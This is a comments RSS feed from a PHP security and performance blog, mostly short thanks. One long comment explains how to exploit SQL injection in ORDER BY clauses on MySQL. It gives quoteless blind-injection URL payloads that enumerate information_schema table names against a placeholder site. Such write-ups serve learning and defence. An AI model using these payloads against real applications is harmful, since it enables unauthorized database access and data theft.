<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for Joseph Keeler</title>
	<atom:link href="http://josephkeeler.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://josephkeeler.com</link>
	<description>PHP/LAMP Development and Software Process Improvement</description>
	<lastBuildDate>Tue, 22 Feb 2011 19:14:37 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>Comment on PHP Upload Security &amp; The 1&#215;1 jpeg Hack by Makavillian</title>
		<link>http://josephkeeler.com/2009/04/php-upload-security-the-1x1-jpeg-hack/comment-page-1/#comment-1223</link>
		<dc:creator>Makavillian</dc:creator>
		<pubDate>Tue, 22 Feb 2011 19:14:37 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=3#comment-1223</guid>
		<description>Great post, I wasn&#039;t aware of this either.</description>
		<content:encoded><![CDATA[<p>Great post, I wasn&#8217;t aware of this either.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Upload Security &amp; The 1&#215;1 jpeg Hack by paul</title>
		<link>http://josephkeeler.com/2009/04/php-upload-security-the-1x1-jpeg-hack/comment-page-1/#comment-1107</link>
		<dc:creator>paul</dc:creator>
		<pubDate>Thu, 06 Jan 2011 18:04:19 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=3#comment-1107</guid>
		<description>Never even gave that a thought...naively thought mime types could be relied on....now changing my image upload class. There must be a hell of a lot of unsecured upload scripts out there!</description>
		<content:encoded><![CDATA[<p>Never even gave that a thought&#8230;naively thought mime types could be relied on&#8230;.now changing my image upload class. There must be a hell of a lot of unsecured upload scripts out there!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Upload Security &amp; The 1&#215;1 jpeg Hack by Nikos</title>
		<link>http://josephkeeler.com/2009/04/php-upload-security-the-1x1-jpeg-hack/comment-page-1/#comment-1059</link>
		<dc:creator>Nikos</dc:creator>
		<pubDate>Sun, 12 Dec 2010 09:02:37 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=3#comment-1059</guid>
		<description>This handles nicely that php code will not be executed. how about xss?</description>
		<content:encoded><![CDATA[<p>This handles nicely that php code will not be executed. how about xss?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Security &#8211; Escape proof SQL injection in ORDER BY clause by Mark Vice</title>
		<link>http://josephkeeler.com/2009/05/php-security-sql-injection-in-order-by/comment-page-1/#comment-652</link>
		<dc:creator>Mark Vice</dc:creator>
		<pubDate>Sat, 12 Jun 2010 10:01:16 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=46#comment-652</guid>
		<description>I love it!</description>
		<content:encoded><![CDATA[<p>I love it!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Security &#8211; Escape proof SQL injection in ORDER BY clause by Jacco van Tuijl</title>
		<link>http://josephkeeler.com/2009/05/php-security-sql-injection-in-order-by/comment-page-1/#comment-637</link>
		<dc:creator>Jacco van Tuijl</dc:creator>
		<pubDate>Sun, 30 May 2010 05:56:26 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=46#comment-637</guid>
		<description>eXploiting SQL injection in ORDER BY clause (MySQL 5)
by Jacco van Tuijl

This URL will show a list orderd by column 1 :

http://www.test.com/list.php?orderby=1

This is what the SQL query that is executed on the database might look like:
SELECT id,name,price FROM list ORDER BY 1

If it would be vulnerable to SQL injection we could try :

http://www.test.com/list.php?orderby=if(true,id,price)

and

http://www.test.com/list.php?orderby=if(false,id,price)

to see if they give a different result

or

http://www.test.com/list.php?orderby=(select case when (true) then id else price end)
and
http://www.test.com/list.php?orderby=(select case when (true) then id else price end)
to see if they give a different result.

If they do give a different result you might be able to enumerate the first char of the table_name in information_schema.tables like this:
http://www.test.com/list.php?orderby=if((select char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;=128),id,price)
and this:
http://www.test.com/list.php?orderby=(select case when ((select char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;=128) then id else price end)

The backside of these methods is that they require knowlage of the column names.
So I worked out some different method that doesn&#039;t require knowlage about column names.

ORDER BY rand()

We can make a request like this:

http://www.test.com/list.php?orderby=rand(true)

returns a different result then this request:

http://www.test.com/list.php?orderby=rand(false)

We can use it to enumerate the first char of the table_name in information_schema.tables like this:
http://www.test.com/list.php?orderby=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;=128))

And it is all quoteless!

Greetingz,
Jacco van Tuijl</description>
		<content:encoded><![CDATA[<p>eXploiting SQL injection in ORDER BY clause (MySQL 5)<br />
by Jacco van Tuijl</p>
<p>This URL will show a list orderd by column 1 :</p>
<p><a href="http://www.test.com/list.php?orderby=1" rel="nofollow">http://www.test.com/list.php?orderby=1</a></p>
<p>This is what the SQL query that is executed on the database might look like:<br />
SELECT id,name,price FROM list ORDER BY 1</p>
<p>If it would be vulnerable to SQL injection we could try :</p>
<p><a href="http://www.test.com/list.php?orderby=if(true,id,price)" rel="nofollow">http://www.test.com/list.php?orderby=if(true,id,price)</a></p>
<p>and</p>
<p><a href="http://www.test.com/list.php?orderby=if(false,id,price)" rel="nofollow">http://www.test.com/list.php?orderby=if(false,id,price)</a></p>
<p>to see if they give a different result</p>
<p>or</p>
<p><a href="http://www.test.com/list.php?orderby=(select" rel="nofollow">http://www.test.com/list.php?orderby=(select</a> case when (true) then id else price end)<br />
and<br />
<a href="http://www.test.com/list.php?orderby=(select" rel="nofollow">http://www.test.com/list.php?orderby=(select</a> case when (true) then id else price end)<br />
to see if they give a different result.</p>
<p>If they do give a different result you might be able to enumerate the first char of the table_name in information_schema.tables like this:<br />
<a href="http://www.test.com/list.php?orderby=if((select" rel="nofollow">http://www.test.com/list.php?orderby=if((select</a> char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;=128),id,price)<br />
and this:<br />
<a href="http://www.test.com/list.php?orderby=(select" rel="nofollow">http://www.test.com/list.php?orderby=(select</a> case when ((select char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;=128) then id else price end)</p>
<p>The backside of these methods is that they require knowlage of the column names.<br />
So I worked out some different method that doesn&#039;t require knowlage about column names.</p>
<p>ORDER BY rand()</p>
<p>We can make a request like this:</p>
<p><a href="http://www.test.com/list.php?orderby=rand(true)" rel="nofollow">http://www.test.com/list.php?orderby=rand(true)</a></p>
<p>returns a different result then this request:</p>
<p><a href="http://www.test.com/list.php?orderby=rand(false)" rel="nofollow">http://www.test.com/list.php?orderby=rand(false)</a></p>
<p>We can use it to enumerate the first char of the table_name in information_schema.tables like this:<br />
<a href="http://www.test.com/list.php?orderby=rand((select" rel="nofollow">http://www.test.com/list.php?orderby=rand((select</a> char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;=128))</p>
<p>And it is all quoteless!</p>
<p>Greetingz,<br />
Jacco van Tuijl</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Security &#8211; Escape proof SQL injection in ORDER BY clause by Henry</title>
		<link>http://josephkeeler.com/2009/05/php-security-sql-injection-in-order-by/comment-page-1/#comment-408</link>
		<dc:creator>Henry</dc:creator>
		<pubDate>Mon, 16 Nov 2009 17:53:21 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=46#comment-408</guid>
		<description>Thank you for this. It really gave something to think about.</description>
		<content:encoded><![CDATA[<p>Thank you for this. It really gave something to think about.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Security &#8211; Escape proof SQL injection in ORDER BY clause by mol</title>
		<link>http://josephkeeler.com/2009/05/php-security-sql-injection-in-order-by/comment-page-1/#comment-118</link>
		<dc:creator>mol</dc:creator>
		<pubDate>Fri, 17 Jul 2009 15:05:14 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=46#comment-118</guid>
		<description>this is really interesting, especially the fact that people think a mysql_real_escape_string() is enough to protect them against any attack. The exploit isnt trivial though.</description>
		<content:encoded><![CDATA[<p>this is really interesting, especially the fact that people think a mysql_real_escape_string() is enough to protect them against any attack. The exploit isnt trivial though.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Upload Security &amp; The 1&#215;1 jpeg Hack by Phillip Harrington</title>
		<link>http://josephkeeler.com/2009/04/php-upload-security-the-1x1-jpeg-hack/comment-page-1/#comment-8</link>
		<dc:creator>Phillip Harrington</dc:creator>
		<pubDate>Sat, 16 May 2009 01:42:59 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=3#comment-8</guid>
		<description>I actually considered doing this - renaming, reprocessing the image and appending a new extension. I was not, however, aware of this attack - or of the fix. Thanks for this article! Keep it up! I&#039;m enjoying very much the security and optimization focus of your first few entries. And as promised, I&#039;m subscribing!</description>
		<content:encoded><![CDATA[<p>I actually considered doing this &#8211; renaming, reprocessing the image and appending a new extension. I was not, however, aware of this attack &#8211; or of the fix. Thanks for this article! Keep it up! I&#8217;m enjoying very much the security and optimization focus of your first few entries. And as promised, I&#8217;m subscribing!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Optimization &#8211; Where to start by Joseph Keeler &#187; PHP Performance - Optimize, Eliminate or Scale</title>
		<link>http://josephkeeler.com/2009/05/php-optimization-where-to-start/comment-page-1/#comment-7</link>
		<dc:creator>Joseph Keeler &#187; PHP Performance - Optimize, Eliminate or Scale</dc:creator>
		<pubDate>Thu, 14 May 2009 22:07:09 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=20#comment-7</guid>
		<description>[...] approaches you can take.  First, find out where your system performance can best be improved - see PHP Optimization - Where to Start.  Once you know where your biggest bottlenecks are, you can either optimize that code, eliminate [...]</description>
		<content:encoded><![CDATA[<p>[...] approaches you can take.  First, find out where your system performance can best be improved &#8211; see PHP Optimization &#8211; Where to Start.  Once you know where your biggest bottlenecks are, you can either optimize that code, eliminate [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on PHP Optimization &#8211; Where to start by Adam Culp</title>
		<link>http://josephkeeler.com/2009/05/php-optimization-where-to-start/comment-page-1/#comment-5</link>
		<dc:creator>Adam Culp</dc:creator>
		<pubDate>Tue, 12 May 2009 02:26:19 +0000</pubDate>
		<guid isPermaLink="false">http://josephkeeler.com/?p=20#comment-5</guid>
		<description>All very valid points.  Thank.  Perhaps you will write a &quot;How To&quot; later?</description>
		<content:encoded><![CDATA[<p>All very valid points.  Thank.  Perhaps you will write a &#8220;How To&#8221; later?</p>
]]></content:encoded>
	</item>
</channel>
</rss>

